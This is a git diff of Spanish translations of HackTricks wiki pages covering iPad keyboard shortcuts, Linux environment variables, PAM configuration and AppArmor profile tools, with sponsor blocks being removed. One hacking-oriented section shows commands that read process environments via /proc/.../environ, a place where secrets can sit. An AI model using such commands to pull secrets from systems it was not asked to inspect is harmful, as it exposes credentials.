| ⌥ | Opción (Alt) |
|
||||
| ⇧ | Mayús |
|
||||
| ↩ | Retorno |
|
||||
| ⇥ | Tabulador |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Retorno |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Control |
|
||||
| ← | Flecha Izquierda |
|
||||
| → | Flecha Derecha |
|
||||
| ↑ | Flecha Arriba |
|
||||
| ↓ | Flecha Abajo |
|
||||
| ↓ | Flecha Abajo |
|
||||
|
||||
#### Atajos del Sistema
|
||||
#### Atajos del sistema
|
||||
|
||||
Estos atajos son para la configuración visual y de sonido, dependiendo del uso del iPad.
|
||||
|
||||
| Atajo | Acción |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Disminuir Brillo |
|
||||
| F2 | Aumentar Brillo |
|
||||
| F7 | Retroceder una canción |
|
||||
| F8 | Reproducir/Pausar |
|
||||
| F9 | Saltar canción |
|
||||
| F10 | Silenciar |
|
||||
| F11 | Disminuir volumen |
|
||||
| F12 | Aumentar volumen |
|
||||
| ⌘ Espacio | Mostrar una lista de idiomas disponibles; para elegir uno, toca de nuevo la barra espaciadora. |
|
||||
| ----- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Atenuar pantalla |
|
||||
| F2 | Aumentar brillo de pantalla |
|
||||
| F7 | Retroceder una canción |
|
||||
| F8 | Reproducir/pausar |
|
||||
| F9 | Saltar canción |
|
||||
| F10 | Silenciar |
|
||||
| F11 | Disminuir volumen |
|
||||
| F12 | Aumentar volumen |
|
||||
| ⌘ Espacio | Mostrar una lista de idiomas disponibles; para elegir uno, toca la barra espaciadora nuevamente. |
|
||||
|
||||
#### Navegación en iPad
|
||||
|
||||
| Atajo | Acción |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Ir a Inicio |
|
||||
| ⌘⇧H (Comando-Mayús-H) | Ir a Inicio |
|
||||
| ⌘ (Espacio) | Abrir Spotlight |
|
||||
| ⌘⇥ (Comando-Tabulador) | Lista de las últimas diez aplicaciones utilizadas |
|
||||
| ⌘\~ | Ir a la última aplicación |
|
||||
| ⌘⇧3 (Comando-Mayús-3) | Captura de pantalla (aparece en la esquina inferior izquierda para guardar o actuar sobre ella) |
|
||||
| ⌘⇧4 | Captura de pantalla y ábrela en el editor |
|
||||
| Presiona y mantén ⌘ | Lista de atajos disponibles para la aplicación |
|
||||
| ⌘⌥D (Comando-Opción/Alt-D) | Muestra el dock |
|
||||
| ^⌥H (Control-Opción-H) | Botón de Inicio |
|
||||
| ^⌥H H (Control-Opción-H-H) | Mostrar barra de multitarea |
|
||||
| ^⌥I (Control-Opción-i) | Selector de elementos |
|
||||
| Escape | Botón Atrás |
|
||||
| → (Flecha Derecha) | Siguiente elemento |
|
||||
| ← (Flecha Izquierda) | Elemento anterior |
|
||||
| ↑↓ (Flecha Arriba, Flecha Abajo) | Toca simultáneamente el elemento seleccionado |
|
||||
| ⌥ ↓ (Opción-Flecha Abajo) | Desplazarse hacia abajo |
|
||||
| ⌥↑ (Opción-Flecha Arriba) | Desplazarse hacia arriba |
|
||||
| ⌥← o ⌥→ (Opción-Flecha Izquierda o Opción-Flecha Derecha) | Desplazarse hacia la izquierda o derecha |
|
||||
| ^⌥S (Control-Opción-S) | Activar o desactivar el habla de VoiceOver |
|
||||
| ⌘⇧⇥ (Comando-Mayús-Tabulador) | Cambiar a la aplicación anterior |
|
||||
| ⌘⇥ (Comando-Tabulador) | Volver a la aplicación original |
|
||||
| ←+→, luego Opción + ← o Opción+→ | Navegar a través del Dock |
|
||||
| ------------------------------------------------ | ------------------------------------------------------- |
|
||||
| ⌘H | Ir a Inicio |
|
||||
| ⌘⇧H (Comando-Shift-H) | Ir a Inicio |
|
||||
| ⌘ (Espacio) | Abrir Spotlight |
|
||||
| ⌘⇥ (Comando-Tab) | Listar las últimas diez aplicaciones usadas |
|
||||
| ⌘\~ | Ir a la última aplicación |
|
||||
| ⌘⇧3 (Comando-Shift-3) | Captura de pantalla (flota en la parte inferior izquierda para guardar o actuar sobre ella) |
|
||||
| ⌘⇧4 | Captura de pantalla y ábrela en el editor |
|
||||
| Presiona y mantén ⌘ | Lista de atajos disponibles para la aplicación |
|
||||
| ⌘⌥D (Comando-Opción/Alt-D) | Muestra el dock |
|
||||
| ^⌥H (Control-Opción-H) | Botón de inicio |
|
||||
| ^⌥H H (Control-Opción-H-H) | Mostrar barra de multitarea |
|
||||
| ^⌥I (Control-Opción-i) | Selector de ítems |
|
||||
| Escape | Botón de retroceso |
|
||||
| → (Flecha derecha) | Siguiente ítem |
|
||||
| ← (Flecha izquierda) | Ítem anterior |
|
||||
| ↑↓ (Flecha arriba, Flecha abajo) | Toca simultáneamente el ítem seleccionado |
|
||||
| ⌥ ↓ (Opción-Flecha abajo) | Desplazarse hacia abajo |
|
||||
| ⌥↑ (Opción-Flecha arriba) | Desplazarse hacia arriba |
|
||||
| ⌥← o ⌥→ (Opción-Flecha izquierda o Opción-Flecha derecha) | Desplazarse a la izquierda o derecha |
|
||||
| ^⌥S (Control-Opción-S) | Activar o desactivar el habla de VoiceOver |
|
||||
| ⌘⇧⇥ (Comando-Shift-Tab) | Cambiar a la aplicación anterior |
|
||||
| ⌘⇥ (Comando-Tab) | Volver a la aplicación original |
|
||||
| ←+→, luego Opción + ← o Opción+→ | Navegar a través del Dock |
|
||||
|
||||
#### Atajos de Safari
|
||||
|
||||
| Atajo | Acción |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Command-L) | Abrir ubicación |
|
||||
| ⌘T | Abrir una nueva pestaña |
|
||||
| ⌘W | Cerrar la pestaña actual |
|
||||
| ⌘R | Actualizar la pestaña actual |
|
||||
| ⌘. | Detener la carga de la pestaña actual |
|
||||
| ^⇥ | Cambiar a la siguiente pestaña |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Mover a la pestaña anterior |
|
||||
| ⌘L | Seleccionar el campo de texto/URL para modificarlo|
|
||||
| ⌘⇧T (Command-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces)|
|
||||
| ⌘\[ | Retroceder una página en tu historial de navegación|
|
||||
| ⌘] | Avanzar una página en tu historial de navegación |
|
||||
| ⌘⇧R | Activar el Modo Lector |
|
||||
| Atajo | Acción |
|
||||
| ------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Comando-L) | Abrir Ubicación |
|
||||
| ⌘T | Abrir una nueva pestaña |
|
||||
| ⌘W | Cerrar la pestaña actual |
|
||||
| ⌘R | Actualizar la pestaña actual |
|
||||
| ⌘. | Detener la carga de la pestaña actual |
|
||||
| ^⇥ | Cambiar a la siguiente pestaña |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Moverse a la pestaña anterior |
|
||||
| ⌘L | Seleccionar el campo de entrada de texto/URL para modificarlo |
|
||||
| ⌘⇧T (Comando-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces) |
|
||||
| ⌘\[ | Retroceder una página en tu historial de navegación |
|
||||
| ⌘] | Avanzar una página en tu historial de navegación |
|
||||
| ⌘⇧R | Activar Modo Lector |
|
||||
|
||||
#### Atajos de Correo
|
||||
#### Atajos de Mail
|
||||
|
||||
| Atajo | Acción |
|
||||
| ----------------------- | ---------------------------- |
|
||||
| ⌘L | Abrir ubicación |
|
||||
| ⌘T | Abrir una nueva pestaña |
|
||||
| ⌘W | Cerrar la pestaña actual |
|
||||
| ⌘R | Actualizar la pestaña actual |
|
||||
| ⌘. | Detener la carga de la pestaña actual |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | Buscar en tu buzón de correo |
|
||||
| ---------------------- | ---------------------------- |
|
||||
| ⌘L | Abrir Ubicación |
|
||||
| ⌘T | Abrir una nueva pestaña |
|
||||
| ⌘W | Cerrar la pestaña actual |
|
||||
| ⌘R | Actualizar la pestaña actual |
|
||||
| ⌘. | Detener la carga de la pestaña actual |
|
||||
| ⌘⌥F (Comando-Opción/Alt-F) | Buscar en tu bandeja de entrada |
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -300,17 +292,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
|||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -320,9 +302,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,19 +10,11 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Variables globales
|
||||
|
||||
Las variables globales **serán** heredadas por **procesos hijos**.
|
||||
|
@ -54,7 +46,7 @@ printenv
|
|||
cat /proc/$$/environ
|
||||
cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
||||
```
|
||||
## Common variables
|
||||
## Variables comunes
|
||||
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
|
@ -76,7 +68,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
* **TZ** – tu zona horaria.
|
||||
* **USER** – tu nombre de usuario actual.
|
||||
|
||||
## Interesting variables for hacking
|
||||
## Variables interesantes para hacking
|
||||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
|
@ -126,23 +118,18 @@ Un trabajo en segundo plano, uno detenido y el último comando no terminó corre
|
|||
|
||||
![](<../.gitbook/assets/image (715).png>)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal en WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Información Básica
|
||||
|
||||
|
@ -35,8 +22,8 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
|||
|
||||
#### Archivos de Configuración
|
||||
|
||||
* Los **sistemas Solaris y basados en UNIX** suelen utilizar un archivo de configuración central ubicado en `/etc/pam.conf`.
|
||||
* Los **sistemas Linux** prefieren un enfoque de directorio, almacenando configuraciones específicas de servicios dentro de `/etc/pam.d`. Por ejemplo, el archivo de configuración para el servicio de inicio de sesión se encuentra en `/etc/pam.d/login`.
|
||||
* **Los sistemas Solaris y basados en UNIX** suelen utilizar un archivo de configuración central ubicado en `/etc/pam.conf`.
|
||||
* **Los sistemas Linux** prefieren un enfoque de directorio, almacenando configuraciones específicas de servicios dentro de `/etc/pam.d`. Por ejemplo, el archivo de configuración para el servicio de inicio de sesión se encuentra en `/etc/pam.d/login`.
|
||||
|
||||
Un ejemplo de una configuración de PAM para el servicio de inicio de sesión podría verse así:
|
||||
```
|
||||
|
@ -51,7 +38,7 @@ password required /lib/security/pam_ldap.so
|
|||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
#### **Reinos de Gestión PAM**
|
||||
#### **Reinos de Gestión de PAM**
|
||||
|
||||
Estos reinos, o grupos de gestión, incluyen **auth**, **account**, **password** y **session**, cada uno responsable de diferentes aspectos del proceso de autenticación y gestión de sesiones:
|
||||
|
||||
|
@ -77,17 +64,6 @@ En una configuración con múltiples módulos de auth, el proceso sigue un orden
|
|||
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,58 +1,44 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Basic Information
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
AppArmor es una **mejora del kernel diseñada para restringir los recursos disponibles para los programas a través de perfiles por programa**, implementando efectivamente el Control de Acceso Obligatorio (MAC) al vincular los atributos de control de acceso directamente a los programas en lugar de a los usuarios. Este sistema opera **cargando perfiles en el kernel**, generalmente durante el arranque, y estos perfiles dictan qué recursos puede acceder un programa, como conexiones de red, acceso a sockets en bruto y permisos de archivos.
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
Hay dos modos operativos para los perfiles de AppArmor:
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
* **Modo de Aplicación**: Este modo aplica activamente las políticas definidas dentro del perfil, bloqueando acciones que violan estas políticas y registrando cualquier intento de infringirlas a través de sistemas como syslog o auditd.
|
||||
* **Modo de Queja**: A diferencia del modo de aplicación, el modo de queja no bloquea acciones que van en contra de las políticas del perfil. En su lugar, registra estos intentos como violaciones de políticas sin imponer restricciones.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
### Components of AppArmor
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
AppArmor es una **mejora del kernel diseñada para restringir los recursos disponibles para los programas a través de perfiles por programa**, implementando efectivamente el Control de Acceso Obligatorio (MAC) al vincular atributos de control de acceso directamente a los programas en lugar de a los usuarios. Este sistema opera **cargando perfiles en el kernel**, generalmente durante el arranque, y estos perfiles dictan qué recursos puede acceder un programa, como conexiones de red, acceso a sockets en bruto y permisos de archivo.
|
||||
|
||||
Existen dos modos operativos para los perfiles de AppArmor:
|
||||
|
||||
* **Modo de Cumplimiento**: Este modo hace cumplir activamente las políticas definidas dentro del perfil, bloqueando acciones que violen estas políticas y registrando cualquier intento de vulnerarlas a través de sistemas como syslog o auditd.
|
||||
* **Modo de Queja**: A diferencia del modo de cumplimiento, el modo de queja no bloquea acciones que van en contra de las políticas del perfil. En su lugar, registra estos intentos como violaciones de políticas sin hacer cumplir restricciones.
|
||||
|
||||
### Componentes de AppArmor
|
||||
|
||||
* **Módulo del Kernel**: Responsable de hacer cumplir las políticas.
|
||||
* **Módulo del Kernel**: Responsable de la aplicación de políticas.
|
||||
* **Políticas**: Especifican las reglas y restricciones para el comportamiento del programa y el acceso a recursos.
|
||||
* **Analizador**: Carga las políticas en el kernel para su cumplimiento o informe.
|
||||
* **Utilidades**: Estos son programas en modo de usuario que proporcionan una interfaz para interactuar y gestionar AppArmor.
|
||||
* **Analizador**: Carga políticas en el kernel para su aplicación o reporte.
|
||||
* **Utilidades**: Estos son programas en modo usuario que proporcionan una interfaz para interactuar y gestionar AppArmor.
|
||||
|
||||
### Ruta de los perfiles
|
||||
### Profiles path
|
||||
|
||||
Los perfiles de AppArmor suelen guardarse en _**/etc/apparmor.d/**_\
|
||||
Con `sudo aa-status` podrás listar los binarios restringidos por algún perfil. Si cambias el carácter "/" por un punto en la ruta de cada binario listado, obtendrás el nombre del perfil de apparmor dentro de la carpeta mencionada.
|
||||
Los perfiles de AppArmor generalmente se guardan en _**/etc/apparmor.d/**_\
|
||||
Con `sudo aa-status` podrás listar los binarios que están restringidos por algún perfil. Si puedes cambiar el carácter "/" por un punto en la ruta de cada binario listado, obtendrás el nombre del perfil de AppArmor dentro de la carpeta mencionada.
|
||||
|
||||
Por ejemplo, un perfil de **apparmor** para _/usr/bin/man_ estará ubicado en _/etc/apparmor.d/usr.bin.man_
|
||||
Por ejemplo, un **perfil de AppArmor** para _/usr/bin/man_ se ubicará en _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### Comandos
|
||||
### Commands
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
|
@ -64,35 +50,35 @@ aa-mergeprof #used to merge the policies
|
|||
```
|
||||
## Creando un perfil
|
||||
|
||||
* Para indicar el ejecutable afectado, se permiten **rutas absolutas y comodines** (para expansión de archivos) para especificar archivos.
|
||||
* Para indicar el acceso que el binario tendrá sobre los **archivos**, se pueden utilizar los siguientes **controles de acceso**:
|
||||
* **r** (lectura)
|
||||
* **w** (escritura)
|
||||
* **m** (mapear en memoria como ejecutable)
|
||||
* Para indicar el ejecutable afectado, se permiten **rutas absolutas y comodines** (para la expansión de archivos) para especificar archivos.
|
||||
* Para indicar el acceso que tendrá el binario sobre **archivos**, se pueden utilizar los siguientes **controles de acceso**:
|
||||
* **r** (leer)
|
||||
* **w** (escribir)
|
||||
* **m** (mapa de memoria como ejecutable)
|
||||
* **k** (bloqueo de archivos)
|
||||
* **l** (crear enlaces duros)
|
||||
* **ix** (para ejecutar otro programa con el nuevo programa heredando la política)
|
||||
* **l** (creación de enlaces duros)
|
||||
* **ix** (para ejecutar otro programa con la nueva política heredada)
|
||||
* **Px** (ejecutar bajo otro perfil, después de limpiar el entorno)
|
||||
* **Cx** (ejecutar bajo un perfil secundario, después de limpiar el entorno)
|
||||
* **Cx** (ejecutar bajo un perfil hijo, después de limpiar el entorno)
|
||||
* **Ux** (ejecutar sin restricciones, después de limpiar el entorno)
|
||||
* Se pueden definir **variables** en los perfiles y se pueden manipular desde fuera del perfil. Por ejemplo: @{PROC} y @{HOME} (agregar #include \<tunables/global> al archivo de perfil)
|
||||
* Se admiten **reglas de denegación para anular reglas de permiso**.
|
||||
* **Variables** pueden ser definidas en los perfiles y pueden ser manipuladas desde fuera del perfil. Por ejemplo: @{PROC} y @{HOME} (agregar #include \<tunables/global> al archivo del perfil)
|
||||
* **Se admiten reglas de denegación para anular reglas de permiso**.
|
||||
|
||||
### aa-genprof
|
||||
|
||||
Para comenzar a crear un perfil fácilmente, apparmor puede ayudarte. Es posible hacer que **apparmor inspeccione las acciones realizadas por un binario y luego permitirte decidir qué acciones deseas permitir o denegar**.\
|
||||
Simplemente necesitas ejecutar:
|
||||
Para comenzar a crear un perfil fácilmente, apparmor puede ayudarte. Es posible hacer que **apparmor inspeccione las acciones realizadas por un binario y luego te permita decidir qué acciones deseas permitir o denegar**.\
|
||||
Solo necesitas ejecutar:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
Luego, en una consola diferente, realiza todas las acciones que el binario suele realizar:
|
||||
Luego, en una consola diferente, realiza todas las acciones que el binario normalmente realizará:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
Luego, en la primera consola presiona "**s**" y luego en las acciones grabadas indica si quieres ignorar, permitir, o lo que sea. Cuando hayas terminado, presiona "**f**" y el nuevo perfil se creará en _/etc/apparmor.d/path.to.binary_
|
||||
Luego, en la primera consola presiona "**s**" y luego en las acciones grabadas indica si deseas ignorar, permitir o lo que sea. Cuando hayas terminado presiona "**f**" y el nuevo perfil se creará en _/etc/apparmor.d/path.to.binary_
|
||||
|
||||
{% hint style="info" %}
|
||||
Usando las teclas de flecha puedes seleccionar lo que deseas permitir/denegar/lo que sea
|
||||
Usando las teclas de flecha puedes seleccionar lo que deseas permitir/denegar/o lo que sea
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
@ -123,24 +109,24 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que de forma predeterminada, en un perfil creado no se permite nada, por lo que todo está denegado. Necesitarás agregar líneas como `/etc/passwd r,` para permitir la lectura del binario `/etc/passwd`, por ejemplo.
|
||||
Tenga en cuenta que por defecto en un perfil creado nada está permitido, por lo que todo está denegado. Necesitará agregar líneas como `/etc/passwd r,` para permitir que el binario lea `/etc/passwd`, por ejemplo.
|
||||
{% endhint %}
|
||||
|
||||
Luego puedes **aplicar** el nuevo perfil con
|
||||
Puede entonces **hacer cumplir** el nuevo perfil con
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### Modificar un perfil a partir de registros
|
||||
### Modificando un perfil a partir de los registros
|
||||
|
||||
La siguiente herramienta leerá los registros y preguntará al usuario si desea permitir algunas de las acciones prohibidas detectadas:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Usando las teclas de flecha puedes seleccionar lo que deseas permitir/denegar/o cualquier otra acción
|
||||
Usando las teclas de flecha puedes seleccionar lo que deseas permitir/negar/cualquier cosa
|
||||
{% endhint %}
|
||||
|
||||
### Administración de un Perfil
|
||||
### Gestionando un Perfil
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
|
